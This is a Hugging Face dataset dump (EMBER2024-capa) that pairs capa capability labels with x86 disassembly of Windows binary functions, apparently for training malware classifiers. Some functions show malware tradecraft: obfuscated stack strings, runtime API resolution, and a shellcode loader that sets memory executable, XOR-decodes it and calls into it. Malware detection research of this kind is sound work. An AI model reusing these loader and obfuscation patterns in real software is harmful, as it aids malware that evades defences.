joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100178a0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060e01
mov eax, dword fs:[0]
push eax
sub esp, 0x17c
mov eax, dword [0x100754ac]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0x14]
push eax
push 0x202
push 0
push esi
push 0x80000002
mov dword [ebp - 0x14], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test ebx, ebx
je 0x10017a03
sub esp, 8
lea ecx, [ebp - 0xd0]
call fcn.100072b0
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x1c], str.SetRegKeyValue
mov edx, str.RegOpenKeyEx
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xc0]
call fcn.1000adf0
mov edx, esi
lea ecx, [ebp - 0xc0]
call fcn.1000ab10
mov edx, str._failed
lea ecx, [ebp - 0xc0]
call fcn.1000adf0
push ebx
lea ecx, [ebp - 0xc0]
call fcn.10007460
lea ecx, [ebp - 0xd0]
mov dword [ebp - 4], 0xffffffff
call fcn.10005c30
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push 0xf023f
push 0
push 0
push 0
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ebx, eax
test ebx, ebx
je 0x10017a03
sub esp, 8
lea ecx, [ebp - 0xd0]
call fcn.100072b0
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x1c], str.SetRegKeyValue
mov edx, str.RegCreateKeyEx
mov dword [ebp - 4], 1
lea ecx, [ebp - 0xc0]
call fcn.1000adf0
mov edx, esi
lea ecx, [ebp - 0xc0]
call fcn.1000ab10
mov edx, str._failed
lea ecx, [ebp - 0xc0]
call fcn.1000adf0
push ebx
lea ecx, [ebp - 0xc0]
call fcn.10007460
lea ecx, [ebp - 0xd0]
mov dword [ebp - 4], 0xffffffff
call fcn.10005c30
xor al, al
jmp 0x10017ac7
mov ecx, edi
lea edx, [ecx + 2]
jmp 0x10017a10
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10017a10
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edi
push 1
push 0
push str.lang
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
test esi, esi
je 0x10017ab7
sub esp, 8
lea ecx, [ebp - 0x188]
call fcn.100072b0
mov dword [ebp - 0xd8], 4
mov dword [ebp - 0xd4], str.SetRegKeyValue
mov edx, str.RegSetValueEx
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x178]
call fcn.1000adf0
mov edx, str.lang
lea ecx, [ebp - 0x178]
call fcn.1000ab10
mov edx, str._failed
lea ecx, [ebp - 0x178]
call fcn.1000adf0
push esi
lea ecx, [ebp - 0x178]
call fcn.10007460
lea ecx, [ebp - 0x188]
mov dword [ebp - 4], 0xffffffff
call fcn.10005c30
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002ee6c
mov esp, ebp
pop ebp
ret
Function at 0x10017af0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060e46
mov eax, dword fs:[0]
push eax
sub esp, 0x188
mov eax, dword [0x100754ac]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0x1c]
push eax
push 0x201
push 0
push str..DEFAULTSoftwareSetID
push 0x80000003
mov dword [ebp - 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
je 0x10017bc0
sub esp, 8
lea ecx, [ebp - 0xd8]
call fcn.100072b0
mov dword [ebp - 0x28], 4
mov dword [ebp - 0x24], str.GetRegKeyValue
mov edx, str.RegOpenKeyEx
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xc8]
call fcn.1000adf0
mov edx, str..DEFAULTSoftwareSetID
lea ecx, [ebp - 0xc8]
call fcn.1000ab10
mov edx, str._failed
lea ecx, [ebp - 0xc8]
call fcn.1000adf0
push esi
lea ecx, [ebp - 0xc8]
call fcn.10007460
lea ecx, [ebp - 0xd8]
mov dword [ebp - 4], 0xffffffff
call fcn.10005c30
xor al, al
jmp 0x10017c7a
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 4
push eax
push edi
lea eax, [ebp - 0x14]
push eax
push 0
push 0x1006c0c0
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
jne 0x10017bf3
cmp dword [ebp - 0x14], 4
je 0x10017c6a
xor al, al
jmp 0x10017c7a
sub esp, 8
lea ecx, [ebp - 0x190]
call fcn.100072b0
mov dword [ebp - 0xe0], 4
mov dword [ebp - 0xdc], str.GetRegKeyValue
mov edx, str.RegQueryValueEx
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x180]
call fcn.1000adf0
mov edx, 0x1006c0c0
lea ecx, [ebp - 0x180]
call fcn.1000ab10
mov edx, str._failed
lea ecx, [ebp - 0x180]
call fcn.1000adf0
push esi
lea ecx, [ebp - 0x180]
call fcn.10007460
lea ecx, [ebp - 0x190]
mov dword [ebp - 4], 0xffffffff
call fcn.10005c30
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002ee6c
mov esp, ebp
pop ebp
ret

Function at 0x10033d07
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x1004527b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
lcall 0xc635, 0x9b45c633
inc ebp
pushfd
xor al, 0xc6
inc ebp
popfd
and dh, al
inc ebp
sahf
sub eax, 0x119f45c6
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.10044eb7
push eax
push esi
push dword [ebp + 8]
call fcn.10044e6c
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.10044eb7
push eax
push esi
push dword [ebp + 8]
call fcn.10044e6c
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.10044ea7
push esp
cmp al, 0x91
pop ebp
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
inc ebp
sbb dword [ebx - 0x3a], 0x45
test byte [ecx - 0x3a], bh
inc ebp
test dword [edx - 0x3a], esi
inc ebp
xchg byte [ebx - 0x3a], ah
inc ebp
xchg dword [edx - 0x3a], edi
inc ebp
mov byte [ebx - 0x3a], dh
inc ebp
mov dword [esi - 0x3a], ebx
inc ebp
mov dh, byte [edi - 0x3a]
inc ebp
mov edi, dword [eax - 0x3a]
inc ebp
invalid
jb 0x1004533d
inc ebp
lea edi, [edx - 0x3a]
inc ebp
invalid
jae 0x10045345
inc ebp
invalid
push edi
mov byte [ebp - 0x70], 0x16
call fcn.10044ea7
xor byte [ebp - 0x3f], 0x42
lea eax, [ebp - 0x84]
push eax
call fcn.10044eb7
push eax
push esi
push dword [ebp + 8]
call fcn.10044e6c
add esp, 0x10
mov dword [ebp - 0xc0], eax
push 0x40
push 0x1000
push dword [ebp + 0xc]
push ebx
call dword [ebp - 0x88]
mov esi, eax
cmp esi, ebx
je 0x100456a0
push dword [ebp - 0xb4]
Function at 0x100455c4
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x1004557e
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x1004559c
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x100455fa
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
add byte [eax - 0x77], al
jge 0x100455d9
add byte [eax - 0x77], al
jge 0x100455d9
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x100455e1
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x100455ea
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x100455f4
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x100455d6
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x10045560
mov dword [ebp + 8], esi
xor edi, edi

Function at 0x1004579f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.10044eb7
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10044e6c
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
invalid
invalid
invalid
Function at 0x10045d4c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [ebp - 0x3337b], cl
call dword [eax + 0x6a]
add bh, bh
xchg ebp, eax
enter 0xfffffffffffffffa, 0xffffffffffffffff
call fcn.10044ea7
mov ah, 0xb7
cwde
in al, dx
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.10044e85
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
invalid
invalid
test al, 0xfc

Function at 0x10046e83
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jne 0x10046e8a
jmp 0x10046849
cmp dword [ebp - 0x37c], 0
je 0x10046e98
jmp 0x10046f4d
push 0
push 0
push 2
push 0
push 2
push 0x40000000
push dword [ebp - 0x3a0]
call dword [ebp - 0x3c8]
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0xffffffff
je 0x10046ef1
push 0
lea eax, [ebp - 0x6c4]
push eax
push dword [ebp - 0x38c]
push dword [ebp - 0x748]
push dword [ebp - 0x380]
call dword [ebp - 0x730]
push dword [ebp - 0x380]
call dword [ebp - 0x680]
jmp 0x10046ef6
jmp 0x10046849
and dword [ebp - 0x37c], 0
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
inc dword [eax]
cmp dword [ebp - 0x37c], 0
je 0x10046f48
jmp 0x10046f4d
jmp 0x10046849
Function at 0x1001000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100e004]
jne 0x100100a
repz ret
jmp fcn.010012de

Function at 0x10041f3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.01002625
and dword [ebp - 4], 0
cmp dword [0x100f9d8], 0
mov ebx, eax
jne 0x10042a4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1004355
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1004355
push eax
call fcn.010025b3
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x100f9d8], eax
call esi
push eax
call fcn.010025b3
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x100f9dc], eax
call esi
push eax
call fcn.010025b3
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x100f9e0], eax
call esi
push eax
call fcn.010025b3
pop ecx
mov dword [0x100f9e8], eax
test eax, eax
je 0x10042a4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.010025b3
pop ecx
mov dword [0x100f9e4], eax
mov eax, dword [0x100f9e4]
cmp eax, ebx
je 0x10042fc
cmp dword [0x100f9e8], ebx
je 0x10042fc
push eax
call fcn.0100262e
push dword [0x100f9e8]
mov esi, eax
call fcn.0100262e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10042fc
test edi, edi
je 0x10042fc
call esi
test eax, eax
je 0x10042f3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10042f3
test byte [ebp - 0xc], 1
jne 0x10042fc
or dword [ebp + 0x10], 0x200000
jmp 0x1004335
mov eax, dword [0x100f9dc]
cmp eax, ebx
je 0x1004335
push eax
call fcn.0100262e
pop ecx
test eax, eax
je 0x1004335
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1004335
mov eax, dword [0x100f9e0]
cmp eax, ebx
je 0x1004335
push eax
call fcn.0100262e
pop ecx
test eax, eax
je 0x1004335
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x100f9d8]
call fcn.0100262e
pop ecx
test eax, eax
je 0x1004355
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1004357
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100b420
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
xor esi, esi
mov bl, 1
lea eax, [ebp - 0x30]
push eax
call edi
cmp esi, 0x39d14d
jle 0x100b44c
cmp dword [ebp - 0x24], 0xb1c711c
je 0x100b44c
xor bl, bl
inc esi
test bl, bl
jne 0x100b433
mov edi, dword [ebp - 0x10]
xor esi, esi
mov bl, 1
cmp esi, 0x4a07
jle 0x100b478
fld qword [0x100d4e0]
sub esp, 8
fstp qword [esp]
xor bl, bl
call fcn.01001010
fstp st(0)
add esp, 8
test esi, esi
jge 0x100b493
lea ecx, [ebp - 8]
push ecx
push edi
push 0x23edd3
push 0x63
push 0x34adb9
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
cmp dword [0x100ff08], 0
jne 0x100b4ac
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x100ff08], eax
inc esi
test bl, bl
jne 0x100b458
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0x16f50
mov edx, dword [0x100d494]
push 0x16f50
push 0
mov dword [0x100ff00], edx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ebx, ebx
mov dword [ebp - 0x10], edi
test eax, eax
jbe 0x100b51f
mov eax, 0x1011312
sub eax, edi
mov esi, edi
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.MSIMG32.dll_TransparentBlt]
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + esi]
mov byte [esi], cl
mov eax, dword [ebp - 4]
inc ebx
inc esi
cmp ebx, eax
jb 0x100b4f2
push 0x100ff04
push 0x40
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [ebp - 4], esi
jle 0x100b568
mov ebx, dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
call ebx
mov eax, dword [0x100ff00]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x100ff00], eax
shr eax, 0x10
xor byte [esi + edi], al
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
inc esi
cmp esi, dword [ebp - 4]
jl 0x100b53b
call dword [ebp - 0x10]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001529
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret

Function at 0x10001fdb
Capabilities:
Hash data using sha1

Disassembly:
mov edx, dword [esp + 4]
push edi
push 0x10
xor eax, eax
and dword [edx + 0x14], 0
and dword [edx + 0x18], 0
pop ecx
lea edi, [edx + 0x1c]
mov dword [edx], 0x67452301
mov dword [edx + 4], 0xefcdab89
mov dword [edx + 8], 0x98badcfe
mov dword [edx + 0xc], 0x10325476
mov dword [edx + 0x10], 0xc3d2e1f0
rep stosd dword es:[edi], eax
pop edi
ret 4
Function at 0x10003ad0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x510
push ebx
push ebp
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x121]
mov byte [esp + 0x120], 0
rep stosd dword es:[edi], eax
mov edx, dword [esp + 0x52c]
or ecx, 0xffffffff
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
xor eax, eax
xor ebp, ebp
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x10], 0x400
cmp ecx, 0x104
jbe 0x10003b2c
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x510
ret
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
lea esi, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, esi
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x18]
and ecx, 3
push 0x1002909c
rep movsb byte es:[edi], byte [esi]
push eax
call sub.MSVCRT.dll_fopen
mov esi, eax
add esp, 8
test esi, esi
je 0x10003bce
push 2
push 0
push esi
call sub.MSVCRT.dll_fseek
push esi
call sub.MSVCRT.dll_ftell
push 0
push 0
push esi
mov ebp, eax
call sub.MSVCRT.dll_fseek
lea edi, [ebp + 1]
push edi
call sub.MSVCRT.dll_malloc
mov ebx, eax
add esp, 0x20
test ebx, ebx
jne 0x10003ba7
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x510
ret
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push esi
and ecx, 3
push ebp
push 1
push ebx
rep stosb byte es:[edi], al
call sub.MSVCRT.dll_fread
push esi
call sub.MSVCRT.dll_fclose
add esp, 0x14
lea eax, [esp + 0x10]
lea ecx, [esp + 0x120]
push eax
push ecx
push ebp
push ebx
call fcn.100039c0
add esp, 0x10
mov esi, eax
test ebx, ebx
je 0x10003bf4
push ebx
call sub.MSVCRT.dll_free
add esp, 4
test esi, esi
je 0x10003c05
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x510
ret
mov edx, dword [esp + 0x528]
mov ecx, dword [esp + 0x10]
mov edi, dword [esp + 0x524]
lea esi, [esp + 0x120]
mov dword [edx], ecx
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x510
ret
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x402570
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x12c
push esi
push edi
push 0xff
xor esi, esi
lea eax, [esp + 0x39]
push esi
push eax
xor edi, edi
call fcn.00406b30
mov eax, dword [0x447f30]
mov ecx, dword [0x447f2c]
add esp, 0xc
push eax
push ecx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x18], esi
call sub.wsnmp32.dll_Ordinal_320
test eax, eax
jne 0x4025b8
mov edx, dword [0x447f2c]
inc edx
mov dword [esp + 0x10], edx
cmp dword [0x447f30], esi
je 0x402728
cmp dword [0x447f38], esi
je 0x402728
cmp dword [esp + 0x13c], esi
jle 0x402728
mov eax, dword [esp + 0x140]
mov ecx, dword [esp + 0x10]
push ebx
mov bl, al
sub bl, cl
dec bl
lea ecx, [esp + ecx + 0x10]
add eax, 2
push ebp
mov byte [esp + 0x13], bl
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], eax
jmp 0x402614
mov bl, byte [esp + 0x13]
mov edx, dword [esp + 0x140]
mov al, byte [esi + edx]
mov byte [esp + 0x12], al
call dword [sym.imp.USER32.dll_GetFocus]
mov ecx, dword [0x447f2c]
mov ebp, dword [esp + 0x148]
sub ebp, ecx
mov eax, edi
cdq
add ebp, 4
idiv ebp
mov edx, dword [0x447f24]
push edx
imul bl
mov bl, al
mov eax, dword [0x447f20]
xor bl, byte [esp + 0x16]
push eax
push 0x14
push ecx
call dword [sym.imp.USER32.dll_AppendMenuA]
mov ecx, dword [0x447f2c]
push 0x10
push 0
push 0
push 0
lea edx, [esp + 0x4c]
push edx
push 0
mov byte [esp + ecx + 0x2c], bl
call dword [sym.imp.USER32.dll_LoadImageA]
mov edx, dword [0x447f34]
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 0x140]
push 0x100
lea ecx, [esp + 0x40]
push ecx
push edx
mov byte [eax], bl
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ebp, dword [esp + 0x148]
test ebp, ebp
je 0x4026b6
mov eax, dword [0x447f2c]
mov cl, byte [esp + eax + 0x14]
jmp 0x4026c3
mov edx, dword [0x447f2c]
mov eax, dword [esp + 0x1c]
mov cl, byte [eax + edx]
lea edx, [esp + 0x24]
push edx
mov byte [esi + ebx], cl
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov eax, dword [0x447f20]
mov edx, dword [0x447f38]
add eax, dword [0x447f24]
sub edx, dword [0x447f2c]
cmp eax, edx
jle 0x4026f2
inc dword [0x447f24]
mov ecx, dword [0x447f34]
lea eax, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
imul edi, dword [esp + 0x20]
inc edi
imul edi, ebp
sub edi, dword [0x447f2c]
inc esi
sub edi, dword [esp + 0x18]
inc edi
cmp esi, dword [esp + 0x144]
jl 0x402610
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x12c
ret 0xc